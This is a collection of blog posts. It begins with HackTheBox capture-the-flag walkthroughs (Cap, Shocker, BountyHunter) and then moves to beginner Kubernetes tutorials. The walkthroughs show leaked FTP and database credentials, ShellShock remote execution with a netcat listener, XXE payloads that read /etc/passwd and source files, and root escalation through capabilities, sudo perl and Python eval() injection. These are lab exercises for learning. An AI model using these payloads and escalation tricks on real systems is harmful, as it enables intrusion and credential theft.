|     Date: Mon, 25 Oct 2021 05:11:56 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, OPTIONS, HEAD
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version 'Invalid HTTP Version: 'RTSP/1.0''
|     </body>
|_    </html>
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: gunicorn
|_http-title: Security Dashboard

We have :
port 21 : FTP
port 22 : SSH
port 80 : web-server

I checked for anonymous FTP login, but it was disabled.

Running a Dirbuster Scan

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project

--------------------------------

http://10.10.10.245:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/

--------------------------------
Files found during testing:

Files found with a 200 responce:

/ip
/netstat
/static/js/vendor/modernizr-2.8.3.min.js
/static/js/popper.min.js
/static/js/bootstrap.min.js
/static/js/metisMenu.min.js
/static/js/owl.carousel.min.js
/static/js/jquery.slimscroll.min.js
/static/js/jquery.slicknav.min.js
/static/js/vendor/jquery-2.2.4.min.js
/static/js/plugins.js
/static/js/pie-chart.js
/static/js/scripts.js
/static/js/line-chart.js

Files found with a 302 responce:

/capture

--------------------------------

Let’s go ahead with the website enumeration.

Website Enumeration

Cap Writeup : Initial Foothold

• I tried to intercept the requests with BurpSuite.
• Initially I thought that for those “ipconfig” & “netstat” pages, the request probably contained the command that was executed on the server, & I could simply replace this command with a reverse shell. But nope, that wasn’t the case.
• Although, that (5 Second PCAP & Analysis) allowed us to download the PCAP file.
• By default, it allowed us to download /data/1 but when I tried to tamper with this parameter, I found that there exists a /data/0 file which seemed to have useful data.
• Any entry used after 0 had no data, as seen in the images below :

.pcap

Downloading the /data/0 PCAP file as it has some data.

Opening & examining that PCAP file with Wireshark —>

1.pcap file was empty, although 0.pcap had data !

Examining the PCAP file

Opening the pcap file using Wireshark, we could see FTP packets. On following the TCP stream for those FTP packets, we were greeted with the FTP credentials 🙂

FTP Creds
user: nathan
pass: Buck3tH4TF0RM3!

Cap Writeup: User Flag ⛳

Logging in with those FTP creds :

┌─[root@kali]─[~/Desktop/Boxes/HTB/Cap]                                                       
└──╼ ftp $IP                                                                                 
Connected to 10.10.10.245.                                                                    
220 (vsFTPd 3.0.3)                                                                            
Name (10.10.10.245:root): nathan                                                              
331 Please specify the password.                                                              
Password:                                                                                     
230 Login successful.                                                                         
Remote system type is UNIX.                                                                   
Using binary mode to transfer files.

ftp> pwd
257 "/home/nathan" is the current directory

ftp> ls                                             
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Oct 25 05:03 user.txt
226 Directory send OK.     
                 
ftp> get user.txt                                                                             
local: user.txt remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (19.9917 kB/s)

-------------------------------------------------------------------------------------

cat user.txt 
cb580***************************

Privilege Escalation

We also tried those FTP creds for SSH, because you never know , and indeed 😉we were able to SSH into the box as user Nathan with those creds.

ssh nathan@$IP

• We went ahead to search for sudo permissions, SUID binaries and capabilities that could escalate the privileges by giving us the root shell.
• And as expected from the name of the box “Cap”, giving off a hint about exploiting capabilities, we foundcap_setuid set for the python3.8 binary on the target.

nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Checking GTFO bins for the above capability —> python | GTFOBins

Root Flag⛳

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

root@cap:/root# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)

root@cap:~# pwd
/home/nathan

root@cap:~# cd /root

root@cap:/root# ls
root.txt  snap

root@cap:/root# cat root.txt 
0e13d***************************

That was it for Cap.

Until next time, do checkout other informative writeups and blogs here.

This is a walkthrough writeup on Shocker which is a Linux box categorized as easy on HackTheBox. The initial foothold was gained by discovering & exploiting the ShellShcok vulnerability to gain the user shell. Priviliege escalation part was relatively easy and was done by exploiting the SUDO permissions for the user. Overall, this was a pretty easy box with a primary focus on the Shellshock exploitation.

Walkthrough

Shocker Writeup: Scanning Network

Running the usual Nmap port scan :

Command used --> nmap -n -Pn -A -v -sC -sV -oN nmap.initial 10.10.10.56
Nmap scan report for 10.10.10.56
Host is up (0.17s latency).
Not shown: 998 closed ports

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

We got 2 open ports :

port 80 : Apache web-server
port 2222 : SSH

Shocker Writeup: Web Enumeration

Checking out the hosted website in our browser :

We get to see this image on the index page of the website –

Running a Dirsearch Scan

dirsearch.py -u http://10.10.10.56/ -e php,html -o ./disearch_def.txt

403   297B   http://10.10.10.56:80/.ht_wsr.txt
403   300B   http://10.10.10.56:80/.htaccess.bak1
403   302B   http://10.10.10.56:80/.htaccess.sample
403   300B   http://10.10.10.56:80/.htaccess.orig
403   300B   http://10.10.10.56:80/.htaccess.save
403   298B   http://10.10.10.56:80/.htaccess_sc
403   301B   http://10.10.10.56:80/.htaccess_extra
403   300B   http://10.10.10.56:80/.htaccess_orig
403   298B   http://10.10.10.56:80/.htaccessOLD
403   298B   http://10.10.10.56:80/.htaccessBAK
403   299B   http://10.10.10.56:80/.htaccessOLD2
403   290B   http://10.10.10.56:80/.htm
403   291B   http://10.10.10.56:80/.html
403   296B   http://10.10.10.56:80/.htpasswds
403   297B   http://10.10.10.56:80/.httr-oauth
403   300B   http://10.10.10.56:80/.htpasswd_test
403   299B   http://10.10.10.56:80/server-status
403   300B   http://10.10.10.56:80/server-status/

403   294B   http://10.10.10.56:80/cgi-bin/

200   137B   http://10.10.10.56:80/index.html

I was kinds stuck here, because we found nothing worth attacking.

But we see /cgi-bin/ directory which was forbidden & from my past experience I figured that this might lead us somewhere. So, I went ahead and launched a dirsearch scan on the /cgi-bin/ directory to discover any other interesting sub-directories or files inside this directory.

Usually the CGI scripts inside the /cgi-bin/ directory are compiled programs, so I added the extension flag in the dirsearch scan to discover any bash, php or python files :  -e sh,py,php

# Dirsearch started Tue Nov  2 03:06:44 2021 as: 
dirsearch.py -u http://10.10.10.56/cgi-bin/ -o ./dirsearch_cgi.txt -e sh,py,php

200   119B   http://10.10.10.56:80/cgi-bin/user.sh

And indeed, we did find a potentially useful file /cgi-bin/user.sh

What is a CGI script ? -> In computing, Common Gateway Interface (CGI) is an interface specification that enables web servers to execute an external program, typically to process user requests. -> Such programs are often written in a scripting language and are commonly referred to as CGI scripts, but they may include compiled programs. -> CGI is used in Dynamic websites, because in static websites, there is no user input which needs to processed.

On visiting the user.sh file, we get the following file :

Content-Type: text/plain

Just an uptime test script

 03:17:52 up  1:02,  0 users,  load average: 0.00, 0.00, 0.00

This looks like the output of the uptime command in Linux, verifying that this is a CGI bash script running on Shocker.

Shocker Writeup: Exploitation

Now, because the box name is “Shocker” and we have found a CGI bash script on the box. The foremost vulnerability that one should think of is the well known “ShellShock Vulnerability“.

Also, a quick google search about “cgi-bin exploits” will give you plenty or results about the ShellShock vulnerability.

(To be honest, I recently did a box from Vulnhub named SickOS 1.1 & the primary vulnerability in this box was also ShellShock, thus I had an idea about it)

What is Shell-shock ? -> Bash allows functions to be defined in environment variables. The vulnerability is caused by the fact that if an environment variable passed to a bash script & contains a function definition followed by arbitrary bash commands, those commands are executed. -> Before running a CGI script, Apache gives it some context by setting environment variables corresponding to some of the HTTP headers of the request, such as User-Agent, Cookie, Referer etc. Since those are fully user controlled, we can inject any payload we want in them & get RCE. You can read more about ShellShock here.

Manually Verifying ShellShock

We will use BurpSuite to send the malicious request and view the response from Shocker.

Alternatively, you can also run the nmap --script http-shellshock script on the target to check if it is vulnerable to ShellShock or not.

We can see the output “exploited” in the response, which verifies that Shocker is vulnerable to ShellShock, and thus we have RCE on the box. Let’s now obtain a reverse shell.

Shocker Writeup: User Flag ⛳

Exploiting RCE to get a reverse shell :

┌─[root@kali]─[~/Desktop/Boxes/HTB/Shocker]
└──╼ #nc -nvlp 6969
listening on [any] 6969 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.56] 33354
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
shelly

shelly@Shocker:/usr/lib/cgi-bin$ id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

shelly@Shocker:/usr/lib/cgi-bin$ pwd
/usr/lib/cgi-bin

shelly@Shocker:/usr/lib/cgi-bin$ cd /home

shelly@Shocker:/home$ ls -al
total 12
drwxr-xr-x  3 root   root   4096 Sep 22  2017 .
drwxr-xr-x 23 root   root   4096 Sep 22  2017 ..
drwxr-xr-x  4 shelly shelly 4096 Sep 22  2017 shelly

shelly@Shocker:/home$ cd shelly

shelly@Shocker:/home/shelly$ ls -al
total 36
drwxr-xr-x 4 shelly shelly 4096 Sep 22  2017 .
drwxr-xr-x 3 root   root   4096 Sep 22  2017 ..
-rw------- 1 root   root      0 Sep 25  2017 .bash_history
-rw-r--r-- 1 shelly shelly  220 Sep 22  2017 .bash_logout
-rw-r--r-- 1 shelly shelly 3771 Sep 22  2017 .bashrc
drwx------ 2 shelly shelly 4096 Sep 22  2017 .cache
drwxrwxr-x 2 shelly shelly 4096 Sep 22  2017 .nano
-rw-r--r-- 1 shelly shelly  655 Sep 22  2017 .profile
-rw-r--r-- 1 root   root     66 Sep 22  2017 .selected_editor
-rw-r--r-- 1 shelly shelly    0 Sep 22  2017 .sudo_as_admin_successful
-r--r--r-- 1 root   root     33 Nov  2 02:15 user.txt

shelly@Shocker:/home/shelly$ cat user.txt
102b4***************************

Privilege Escalation

Checking the SUDO permissions for the user Shelly :

shelly@Shocker:/home/shelly$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Great! We can excute /usr/bin/perl as root. It’s pretty straightforward to get an elevated root shell from here 🙂

Shocker Writeup: Root Flag ⛳

Executing /bin/bash through perl.

shelly@Shocker:/tmp$ sudo perl -e 'exec "/bin/bash"'
root@Shocker:/tmp# whoami
root

root@Shocker:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

root@Shocker:/tmp# cd /root

root@Shocker:~# ls
root.txt

root@Shocker:~# cat root.txt
a2a5***************************

So, that was all for Shocker. Until next time, do checkout other interesting writeups & articles on sheerazali.com

TL;DR

This is a walkthrough writeup on BountyHunter which is a Linux box categorized as easy on HackTheBox. The initial foothold was gained by discovering and exploiting XXE vulnerability, meanwhile the privilege escalation part was interesting and required us to do some basic code analysis. This was my first ever Active Box which I rooted, so I was quick on releasing a writeup on it 🤗

Walkthrough

BountyHunter Writeup: Scanning Network

Running the usual Nmap port scan :

Command used --> nmap -n -Pn -A -sC -sV -v -oN nmap.initial 10.10.11.100
Increasing send delay for 10.10.11.100 from 0 to 5 due to 148 out of 493 dropped probes since last increase.
Nmap scan report for 10.10.11.100
Host is up (0.26s latency).
Not shown: 998 closed ports

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

We gotta deal with :
port 80 : web-server
port 22 : SSH

Web Enumeration

Visiting the website on the browser –>

BountyHunter Writeup :log_submit.php

We can fill this Bounty Report System form with the bug info and submit it.
On, submitting the form the details are reflected back on the webpage… Huhh, interesting..Let’s come back to this later.

Running a Dirbuster scan

We found some interesting files on running a Dirbuster scan :  db.php, /resources/README.txt

DirBuster 1.0-RC1 - Report

http://10.10.11.100:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/
/resources/

Dirs found with a 403 response:

/assets/
/css/
/icons/
/assets/img/
/assets/img/portfolio/
/js/
/icons/small/

--------------------------------
Files found during testing:

Files found with a 200 responce:

/index.php
/portal.php
/assets/img/avataaars.svg
/resources/jquery.easing.min.js
/resources/bootstrap.bundle.min.js
/resources/jquery.min.js
/resources/README.txt
/js/scripts.js
/log_submit.php
/resources/bountylog.js
/resources/lato.css
/resources/bootstrap_login.min.js
/resources/monsterat.css
/resources/jquery_login.min.js
/resources/all.js
/db.php

--------------------------------

Browsing the contents of these file,s we got some interesting finds.

Browsing db.php gave us nothing but a blank page.

/resources/README.txt did reveal a tasks checklist

Tasks:

[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions

Going Burrrrp !

While intercepting the web requests in BurpSuite, we saw that in the POST request that was sent on submitting the “Bounty Report form”, there was some encoded data being sent in that POST request.

Decoding this data string in the following sequence Data —> URL —> base64, (if you are wondering about how I thought about this., it was just hit and trial for me 😉), we saw that the form data was being sent in XML format.

Encoded data= 
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5yY2UgdmlhIHh4ZTwvdGl0bGU%2BCgkJPGN3ZT42OTY5PC9jd2U%2BCgkJPGN2c3M%2BNTwvY3Zzcz4KCQk8cmV3YXJkPjEwMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D

Decoded Data=

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>rce via xxe</title>
		<cwe>6969</cwe>
		<cvss>5</cvss>
		<reward>100</reward>
		</bugreport>

There might be  some potential for XXE.. Let’s try it then 🙂

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application’s processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.

source – What is XXE (XML external entity) injection?

BountyHunter Writeup: Intial Foothold (Exploiting XXE)

Refer to this for XXE payloads ->  PayloadsAllTheThings/XXE Injection

Using the payload  <!DOCTYPE title [<!ENTITY cmd SYSTEM 'file:///etc/passwd'>]>

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [<!ENTITY cmd SYSTEM 'file:///etc/passwd'>]>
		<bugreport>
		<title>rce via xxe</title>
		<cwe>6969</cwe>
		<cvss>5</cvss>
		<reward>100</reward>
		</bugreport>

Then encoding it in the reverse sequence  xml-data → base64 → URLencode . Then sending this request.

BOOM! We can successfully read the /etc/passwd file means we have XXE !

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Nice, we have a user development except the root user. Further, I tried to get more files, like

/home/development/user.txt
/home/development/.ssh/id_rsa
/var/www/sheerazali.com/db.php

But I wasn’t able to view them, also i wasn’t able to perform code execution using the expect php module.

<!DOCTYPE title [<!ENTITY cmd SYSTEM 'expect://id'>]> but that too didn’t work.

Eventually, I tried to retrieve files using php base64 filter. (another cool way to circumvent file retrieval hinderance)

<!DOCTYPE title [<!ENTITY cmd SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>]>

Trying to view the db.php file (the one we found during web enumeration)

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [<!ENTITY cmd SYSTEM 'php://filter/convert.base64-encode/resource=db.php'>]>
		<bugreport>
		<title>&cmd;</title>
		<cwe>6969</cwe>
		<cvss>5</cvss>
		<reward>100</reward>
		</bugreport>

Base64 encoded content of db.php in the responce :

PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=

Decoding this as Base64 we get —>

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Yayy! We got the creds. Using them on SSH for user root & admin didn’t work.

But remember we got a user named development in the /etc/passwd file. so lets try the obtained password for this user on SSH.

And there we have our user shell ^_^

BountyHunter Writeup : User Flag ⛳

development@bountyhunter:~$ cat user.txt 
df63624da724e953e2120e8efa272649

Privilege Escalation

Another file, contract.txt, was in the /home/development which says →

development@bountyhunter:~$ cat contract.txt 
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

Checking sudo permissions on user development

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

On further enumeration, we found ticket_validator.py program which we have the permission to run as root. And we also got some invalid tickets, which have the following format –>

development@bountyhunter:~$ cd /opt

development@bountyhunter:/opt$ cd skytrain_inc/

development@bountyhunter:/opt/skytrain_inc$ ls -al
total 16
drwxr-xr-x 3 root root 4096 Jul 22 11:08 .
drwxr-xr-x 3 root root 4096 Jul 22 11:08 ..
drwxr-xr-x 2 root root 4096 Jul 22 11:08 invalid_tickets
-r-xr--r-- 1 root root 1471 Jul 22 11:08 ticketValidator.py

development@bountyhunter:/opt/skytrain_inc$ cd invalid_tickets/

development@bountyhunter:/opt/skytrain_inc/invalid_tickets$ ls -al
total 24
drwxr-xr-x 2 root root 4096 Jul 22 11:08 .
drwxr-xr-x 3 root root 4096 Jul 22 11:08 ..
-r--r--r-- 1 root root  102 Jul 22 11:08 390681613.md
-r--r--r-- 1 root root   86 Jul 22 11:08 529582686.md
-r--r--r-- 1 root root   97 Jul 22 11:08 600939065.md
-r--r--r-- 1 root root  101 Jul 22 11:08 734485704.md

development@bountyhunter:/opt/skytrain_inc/invalid_tickets$ cat 390681613.md 
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket

Python Code Analysis

Going ahead and examining the ticketValidator.py python code.

def load_file(loc):           
    if loc.endswith(".md"):
        return open(loc, 'r')   
    else:       
        print("Wrong file type.")
        exit()
    
def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Execution

development@bountyhunter:/opt/skytrain_inc$ cat ./invalid_tickets/390681613.md 
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket

development@bountyhunter:/opt/skytrain_inc$ python3 ticketValidator.py 
Please enter the path to the ticket file.
./invalid_tickets/390681613.md
Destination: New Haven
Invalid ticket.

development@bountyhunter:/opt/skytrain_inc$

Explaination

So, this code takes in a ticket file with a .md file extension and performs validation on it.
The code snippet of interest to us is —>

if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False

It is examining the following line 4 of the ticket.md file—>

**31+410+86**

The code checks for the following to validate the ticket —

Action 1 : If the line starts with “**”, continue.

Action 2 :Splits the string by considering “+” as the delimitter, takes the first part at index 0 and replaces “**” with nothing (basically removes it), and stores it as ticketcode.

**31+410+86**  -->  [**31,410,86**]  -->  **31
ticketcode = 31

Action 3 : If this ticketcode satisfies ticketcode% 7 ==4, then continue.

31 % 7 == 3
condition check : false
so this particular ticket is labelled as invalid.

Although, for the sake of understanding the next check, let us assume that this condition check was passed 🙄

Action 4 : Remove the “**” from the original string and evaluate value of the expression.

**31+410+86**  -->  (31+410+86)
eval(31+410+86) = 527
527 > 100

condition check : true
Now, the ticket has passed all checks and it will be labelled as Valid.

If the result of this evaluated expression is > 100 then return True.

eval() exploit

Now eval() function in Python is vulnerable. This function will also execute the python code given to it. In this case the input it takes is not being sanitized, so we can provide malicious python code to it, spawning a root shell (cause we have the permission to run this program as root). Read more about it here.

Now I used the following string, which satisfies all the conditions in order for the eval() function to execute the code and spawn a shell.

** 32 + 1 == 33 and __import__('os').system('/bin/bash')==False

As this string satisfies all the conditions from 1 to 3 which are required to be satisfied in order to execute the eval() function, let’s create a ticket.md file with this content in the /tmp directory (as we have write permissions in this), and run  ticketValidator.py  on it

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
** 32 + 1 == 33 and __import__('os').system('/bin/bash')==False
##Issued: 2021/04/06
#End Ticket

development@bountyhunter:/opt/skytrain_inc$ cd /tmp

development@bountyhunter:/tmp$ echo "# Skytrain Inc
> ## Ticket to New Haven
> __Ticket Code:__
> ** 32 + 1 == 33 and __import__('os').system('/bin/bash')==False
> ##Issued: 2021/04/06
> #End Ticket" > ticket.md

Root Flag ⛳

Executing ticketValidator.py as root.

development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md
Destination: New Haven

root@bountyhunter:/tmp# whoami
root

root@bountyhunter:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

root@bountyhunter:/tmp# cat /root/root.txt
2rfs7*************************

Yayyy, we have successfully rooted BountyHunter 🙂

Until next time, do checkout other informative writeups and blogs here.

Kubernetes pods are the smallest units in the ecosystem. A pod is basically a container of containers. Kinda confused? yeh! Containers or Docker containers contain your app and know how to deploy it in an ideal situation.

Before Kubernetes can help you scale your app to your desired amount of users. We need to have our app and its docker file ready to deploy.

Kubernetes Pods

Pods refer to the smallest unit in the Kubernetes ecosystem as I mentioned earlier or we can say that this is a bag of docker containers that enclose our application instance.

A single node can hold a lot of pods till it’s filled. Once a node is filled another node is created to make sure that applications availability isn’t affected.

Let’s say we have a node application that use’s Redis for caching and our app is ready a pod is a complete collection of these containers that you make your whole app.

That’s the basic concept of pods. Now let’s see how to quickly make a few pods in our cluster.

Pods in action.

The command below will create a pod named Nginx and deploy the Nginx image from the docker hub.

root@controlplane:~ kubectl run nginx --image=nginx
pod/nginx created
root@controlplane:~ kubectl get pods
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          115s
root@controlplane:~# kubectl get pods -o wide
NAME    READY   STATUS    RESTARTS   AGE    IP           NODE           NOMINATED NODE   READINESS GATES
nginx   1/1     Running   0          2m3s   10.244.0.4   controlplane   <none>           <none>
root@controlplane:~ 

Kubectl get pods will show us the pods that are running and wide options shows the IP address and a few more details about the pods.

If we want even more details then we can use the kubectl describe pod command.

root@controlplane:~# kubectl describe pod nginx
Name:         nginx
Namespace:    default
Priority:     0
Node:         controlplane/10.7.187.9
Start Time:   Tue, 28 Sep 2021 05:37:22 +0000
Labels:       run=nginx
Annotations:  <none>
Status:       Running
IP:           10.244.0.4
IPs:
  IP:  10.244.0.4
Containers:
  nginx:
    Container ID:   docker://f54fec50c632399275671956961b32d53dddadd956fd7e1e6dcf215e4542b8da
    Image:          nginx
    Image ID:       docker-pullable://nginx@sha256:3f1b44820597d0e6b763ff104bc04c11b9e51238f3e0d6109e1ed1ecf58ffad5
    Port:           <none>
    Host Port:      <none>
    State:          Running
      Started:      Tue, 28 Sep 2021 05:37:35 +0000
    Ready:          True
    Restart Count:  0
    Environment:    <none>
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-6nzg7 (ro)
Conditions:
  Type              Status
  Initialized       True 
  Ready             True 
  ContainersReady   True 
  PodScheduled      True 
Volumes:
  default-token-6nzg7:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-6nzg7
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:
  Type    Reason     Age    From               Message
  ----    ------     ----   ----               -------
  Normal  Scheduled  5m4s   default-scheduler  Successfully assigned default/nginx to controlplane
  Normal  Pulling    5m2s   kubelet            Pulling image "nginx"
  Normal  Pulled     4m51s  kubelet            Successfully pulled image "nginx" in 10.960110215s
  Normal  Created    4m51s  kubelet            Created container nginx
  Normal  Started    4m51s  kubelet            Started container nginx

This provides all the things we need to know about the pod. Like the node and node IP address and pod IP address container ids etc.

We can also see where the Nginx image was pulled from in this case it was docker hub. All the events a pod went through before it deployed can be seen in the last paragraph under events.

Thats all about pods see you in the next post about writing YAML files for Kubernetes. You may also like the post I wrote earlier on locally setting up Kubernetes and if you would like to know more about Kubernetes pods you can reference Kubernetes.io.

In this series of posts ill cover basics of Kubernetes starting from setting a basic cluster with minikube.

Kubernetes Basics: Installing Kubernetes with minikube.

First of all we will go visit https://kubernetes.io/ to get the latest version of kubectl.

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"

We can also do it with the command above next well give it execute permissions. Run version command to find the installed version of kubectl.

chmod +x kubectl
